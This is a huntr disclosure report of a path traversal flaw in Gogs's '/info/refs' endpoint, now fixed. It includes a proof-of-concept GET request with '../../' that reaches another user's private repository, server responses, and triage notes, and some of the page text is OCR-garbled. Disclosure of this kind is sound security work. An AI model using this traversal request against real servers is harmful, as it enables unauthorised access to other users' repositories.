huntr

Path Traversal vulnerability on the endpoint '/info/refs' in gogs/gogs

✓ Valid) Reported on Jun 2nd 2022

Summary

It seems "gogs" suffers from a Path Traversal which may lead a malicious user to access another legitimate user's git config files or issue a couple of git commands on its behalf.

Steps to reproduce and Proof of Concept

I created two users sim4n6 and sim4n62.

From sim4n6 dashboard added test2 repository. And, from sim4n62 I added a tests repository. Initiate the following GET request (PoC) using sim4n6 authentication cookies.

GET /sim4n6/test2/../../sim4n62/tests/info/refs?service=git-receive-pack Hl

Host: localhost:10880

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:94.0) Gecko/20100101 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,in

Accept-Language: en-US, en; q=0.5 Accept-Encoding: gzip, deflate

Cookie: <deleted>



You will get a 200 ok status code:

HTTP/1.1 200 OK

Cache-Control: no-cache, max-age=0, must-revalidate

Content-Type: application/x-git-receive-pack-advertisement

Expires: Fri, 01 Jan 1980 00:00:00 GMT

Pragma: no-cache

Date: Thu, 02 Jun 2022 23:16:27 GMT

Chat with us

Content-Length: 216
Connection: close

While in the normal (not malicious) case, sim4n6 can initiate the following GET request:

```
GET /sim4n6/test2/info/refs?service=git-receive-pack HTTP/1.1
Host: localhost:10880
<deleted for brievety>
```

and get the following HTTP response:

```
HTTP/1.1 200 OK
```

Cache-Control: no-cache, max-age=0, must-revalidate

Content-Type: application/x-git-receive-pack-advertisement

Expires: Fri, 01 Jan 1980 00:00:00 GMT

Pragma: no-cache

Date: Thu, 02 Jun 2022 23:23:22 GMT

Content-Length: 218
Connection: close

001f# service=git-receive-pack

000000b3da9a744ed8f8d6883ca93758f3900028e61e9ad4 refs/heads/master

Even if the *sim4n62*'s repository is private, the same thing happens.

Impact

This Path Traversal can lead a malicious user to issue the route "/info/refs" on behalf of any other user. This is due to the line L301 (sink) provided directly from the service handler (source a URL).

This vulnerability has an effect somehow like a Horizontal IDOR.

Vulnerability Type Severity Registry Affected Version Visibility Status Found by Sim4n6 amateur 🗸 We are processing your report and will contact the gogs team within 24 hours. 6 months ago Sim4n6 modified the report 6 months ago A gogs/gogs maintainer has acknowledged this report 6 months ago Joe Chen validated this vulnerability 6 months ago

Sim4n6 has been awarded the disclosure bounty 🗸

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

We have sent a fix follow up to the gogs team. We will try again in 7 days.

Chat with us

The fix bounty has been dropped 🗙	
This vulnerability will not receive a CVE 🗶	
Sign in to join this conversation	
2022 © 418sec	
nuntr	part of 418sec
nome	company
nacktivity	about
eaderboard	team
FAQ	
contact us	
O KNO C	

Joe Chen marked this as fixed in 0.12.9 with commit 9bf748 6 months ago